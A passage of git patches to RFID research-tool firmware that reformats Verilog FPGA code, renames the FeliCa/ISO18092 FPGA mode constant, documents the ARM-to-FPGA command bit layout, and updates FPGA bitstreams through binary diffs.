fccount <=0; - prv <=(mid>128)?1:0; - mid <=128; + // fccount <= 0; + prv <= (mid > 128) ? 1 : 0; + mid <= 128; end else begin // minimum-maximum calc - if(adc_d>curmaxthres) - mid <=mid+1; - else if (adc_d curmaxthres) + mid <= mid + 1; + else if (adc_d < curminthres) + mid <= mid - 1; else begin if (after_hysteresis) begin - mid <=mid+1; + mid <= mid + 1; end else begin - mid<=mid-1; + mid <= mid - 1; end end end @@ -376,7 +336,7 @@ begin else begin end - sending <=0; +// sending <= 0; end //put modulation here to maintain the correct clock. Seems that some readers are sensitive to that reg pwr_hi; @@ -385,32 +345,26 @@ reg pwr_oe2; reg pwr_oe3; reg pwr_oe4; -wire mod=((fccount>=bithalf)^dlay)&(~disabl); +wire mod = ((fccount >= bithalf) ^ dlay) & (~disabl); always @(ck_1356megb or ssp_dout or power or disabl or mod) +begin + if (power) begin -if (power) - begin pwr_hi <= ck_1356megb; pwr_oe1 <= 1'b0;//mod; pwr_oe2 <= 1'b0;//mod; pwr_oe3 <= 1'b0;//mod; pwr_oe4 <= mod;//1'b0; - end -else - begin - pwr_hi <= 1'b0; + end + else + begin + pwr_hi <= 1'b0; pwr_oe1 <= 1'b0; pwr_oe2 <= 1'b0; pwr_oe3 <= 1'b0; pwr_oe4 <= mod; - end - end -//assign pwr_oe4 = 1'b0;// mod_sig_coil & (modulate_mode)&sending & (~mod_type[2]); -//try shallow mod for reader? -//assign pwr_hi= (mod_type[2]) & ck_1356megb; -//assign pwr_oe1= 1'b0; //mod_sig_coil & (modulate_mode)&sending & (mod_type[2]); -//assign pwr_oe2 = 1'b0;// mod_sig_coil & (modulate_mode)&sending & (mod_type[2]); -//assign pwr_oe3 = 1'b0; //mod_sig_coil & (modulate_mode)&sending & (mod_type[2]); + end +end endmodule From 621eb129764b90ac464d91b134f06291b01b082f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 00:30:23 +0100 Subject: [PATCH 285/418] fix: lf simulation, wrong offsets in majormode --- armsrc/felica.c | 8 ++-- armsrc/fpgaloader.h | 80 ++++++++++++++++++++++------------ fpga/fpga_hf.bit | Bin 42175 -> 42175 bytes fpga/fpga_lf.bit | Bin 42175 -> 42175 bytes fpga/fpga_lf.v | 104 ++++++++++++++++++++++++++++++++++++-------- 5 files changed, 144 insertions(+), 48 deletions(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index 91b58d97f..d42640532 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -337,7 +337,7 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { } static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) { - uint8_t flags = FPGA_MAJOR_MODE_ISO18092; + uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092; if (power) flags |= FPGA_HF_ISO18092_FLAG_READER; if (highspeed) @@ -404,7 +404,7 @@ bool WaitForFelicaReply(uint16_t maxbytes) { Dbprintf("WaitForFelicaReply Start"); uint32_t c = 0; // power, no modulation - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); // clear RXRDY: @@ -471,7 +471,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); // Signal field is on with the appropriate LED - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode); //20.4 ms generate field, start sending polling command afterwars. SpinDelay(100); @@ -720,7 +720,7 @@ void felica_sim_lite(uint64_t uid) { TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0); //switch back - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); listenmode = true; diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index c91fb3315..90d020333 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -21,10 +21,35 @@ #define FPGA_BITSTREAM_LF 1 #define FPGA_BITSTREAM_HF 2 +/* + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand) + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ + // Definitions for the FPGA commands. -#define FPGA_CMD_SET_CONFREG (1<<12) -#define FPGA_CMD_SET_DIVISOR (2<<12) -#define FPGA_CMD_SET_USER_BYTE1 (3<<12) +// HF / LF +#define FPGA_CMD_SET_CONFREG (1<<12) // C + +// LF +#define FPGA_CMD_SET_DIVISOR (2<<12) // C +#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C + +// HF +#define FPGA_CMD_TRACE_ENABLE (2<<12) // C // Definitions for the FPGA configuration word. // LF @@ -32,32 +57,34 @@ #define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) #define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) #define FPGA_MAJOR_MODE_LF_ADC (3<<5) + // HF -#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) -#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) -#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) -#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) -#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) -#define FPGA_MAJOR_MODE_HF_FELICA (5<<5) +#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D +#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D +#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D +#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D +#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D +#define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D +#define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D + // BOTH -#define FPGA_MAJOR_MODE_OFF_LF (6<<5) -#define FPGA_MAJOR_MODE_OFF (7<<5) +#define FPGA_MAJOR_MODE_OFF (7<<5) // D // Options for LF_READER -#define FPGA_LF_ADC_READER_FIELD (1<<0) +#define FPGA_LF_ADC_READER_FIELD 0x1 // Options for LF_EDGE_DETECT #define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 -#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) -#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) +#define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1 +#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2 // Options for the HF reader, tx to tag -#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) +#define FPGA_HF_READER_TX_SHALLOW_MOD 0x1 // Options for the HF reader, correlating against rx from tag -#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) -#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) -#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2) +#define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1 +#define FPGA_HF_READER_RX_XCORR_SNOOP 0x2 +#define FPGA_HF_READER_RX_XCORR_QUARTER 0x4 // Options for the HF simulated tag, how to modulate #define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000 @@ -68,17 +95,16 @@ // no 848K // Options for ISO14443A -#define FPGA_HF_ISO14443A_SNIFFER (0<<0) -#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0) -#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0) -#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0) -#define FPGA_HF_ISO14443A_READER_MOD (4<<0) +#define FPGA_HF_ISO14443A_SNIFFER 0x0 +#define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1 +#define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2 +#define FPGA_HF_ISO14443A_READER_LISTEN 0x3 +#define FPGA_HF_ISO14443A_READER_MOD 0x4 //options for Felica. -#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000 -#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module -#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect -#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag +#define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module +#define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect +#define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag void FpgaSendCommand(uint16_t cmd, uint16_t v); void FpgaWriteConfWord(uint8_t v); diff --git a/fpga/fpga_hf.bit b/fpga/fpga_hf.bit index 7e3fc14e2223e60a37b3427515e38c4d3dd62f4b..ae66d510fa02ca3e7181036f0f8e2bf134ebf884 100644 GIT binary patch delta 33 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 